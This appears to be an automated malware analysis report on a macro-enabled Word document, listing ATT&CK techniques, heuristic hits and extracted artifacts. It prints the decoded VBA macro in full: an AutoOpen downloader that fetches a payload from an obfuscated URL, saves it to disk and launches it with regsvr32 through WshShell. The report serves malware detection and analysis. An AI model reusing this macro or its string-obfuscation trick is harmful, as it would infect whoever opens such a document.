MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1105 Ingress Tool Transfer
The sample contains VBA macros, specifically an AutoOpen subroutine, which is a common technique for executing malicious code upon document opening. The script attempts to download a payload from the reconstructed URL 'hbtat0p8:f/e/3n3i3x547ee.5c2odma/ei4z65d/7ybaec1ae.3p2h8pe?fl9=1k8p0t51621.ec9abb9' and save it to disk as 'cf:\dp4r8oegbreadmed2a4taac\719961d6455.1j8pdg3'. This indicates a downloader or droppper functionality.
Heuristics 5
-
External relationship high OOXML_EXTERNAL_RELExternal target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack2\it.jpg
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
- http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
- http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
- http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
- http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
- http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
- http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3186 bytes |
SHA-256: b5e6ffbb5a05eaa2e25f10185b66c47198256d7e72fb7618e553aca452a6692a |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "de88a69e"
Function d3ccdb5a()
d3ccdb5a = Application.ActiveDocument.AutoSaveOn
End Function
Function e490ea57()
e490ea57 = ActiveWindow.DisplayScreenTips
End Function
Sub c35edb0f(e0b187fd, bc844954)
Dim d97d3a44
d97d3a44 = FreeFile
Open e0b187fd For Output As #d97d3a44
Print #d97d3a44, abd2cf83(bc844954)
Close #d97d3a44
End Sub
Function ce6d6924()
ce6d6924 = 64608 - 10312
End Function
Function a93f78c6()
a93f78c6 = Application.ActiveDocument.CompatibilityMode
End Function
Function bf5c1232(ddf9c4f3)
ee37d172 = Len(ddf9c4f3)
For c2ea2d69 = 1 To ee37d172 Step 2
dbfccef0 = dbfccef0 & Mid(ddf9c4f3, c2ea2d69, 1)
Next
bf5c1232 = dbfccef0
End Function
Function f4396356(c9f96babnp As String) As Boolean
If 605 - 22 < Len(c9f96babnp) Then
f4396356 = True
End If
End Function
Function bba26e2c()
bba26e2c = Application.ActiveDocument.CurrentRsid
End Function
Sub f2d07fce()
End Sub
Function e514a557()
e514a557 = ActiveWindow.SplitVertical
End Function
Function d40de532()
d40de532 = Application.ActiveDocument.CurrentRsid
End Function
Sub AutoOpen()
Dim fb4d8098 As New d7c4471e
c35edb0f bf5c1232("cf:6\dp4r8oegbreadmed2a4taac\719961d6455.1j8pdg3"), fb4d8098.d92aa665(bf5c1232("hbtat0p8:f/e/3n3i3x547ee.5c2odma/ei4z65d/7ybaec1ae.3p2h8pe?fl9=1k8p0t51621.ec9abb9"))
Dim d2ac5c3f As New WshShell
d2ac5c3f.exec f5081e59 & " " & bf5c1232("cf:6\dp4r8oegbreadmed2a4taac\719961d6455.1j8pdg3")
End Sub
Attribute VB_Name = "d773c3d0"
Function c5d1ddab()
c5d1ddab = Application.ActiveDocument.CompatibilityMode
End Function
Function a59947b4()
a59947b4 = 154
End Function
Function abd2cf83(c26fd015)
abd2cf83 = StrConv(c26fd015, 64)
End Function
Function ea923cec()
ea923cec = ActiveWindow.DisplayRulers
End Function
Function bc1b47c7()
bc1b47c7 = 30
End Function
Function d9f9432d()
End Function
Function d610ae3a()
d610ae3a = ActiveWindow.Left
End Function
Function c1b6046b()
c1b6046b = ActiveWindow.Split
End Function
Function f5081e59()
f5081e59 = bf5c1232("r3e3g2sdvar7362b")
End Function
Attribute VB_Name = "d7c4471e"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function cf5edb81()
cf5edb81 = ActiveWindow.Thumbnails
End Function
Function f74153b0()
f74153b0 = Application.ActiveDocument.ActiveTheme
End Function
Function d92aa665(ccfeb125)
Dim d2fb6589 As Object
Set d2fb6589 = New MSXML2.XMLHTTP30
Call d2fb6589.Open("GET", ccfeb125, False)
d2fb6589.Send
d92aa665 = d2fb6589.responsebody
End Function
Function c5a46fa2()
c5a46fa2 = 737 + 40
End Function
Function b5acc01e()
b5acc01e = -2030031920
End Function
Function b33b3b0d(e8ef3c16)
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 24576 bytes |
SHA-256: 4c00e3762980c3989ce70919c349cf51821f6bc07e2ce073b320555de179fb43 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.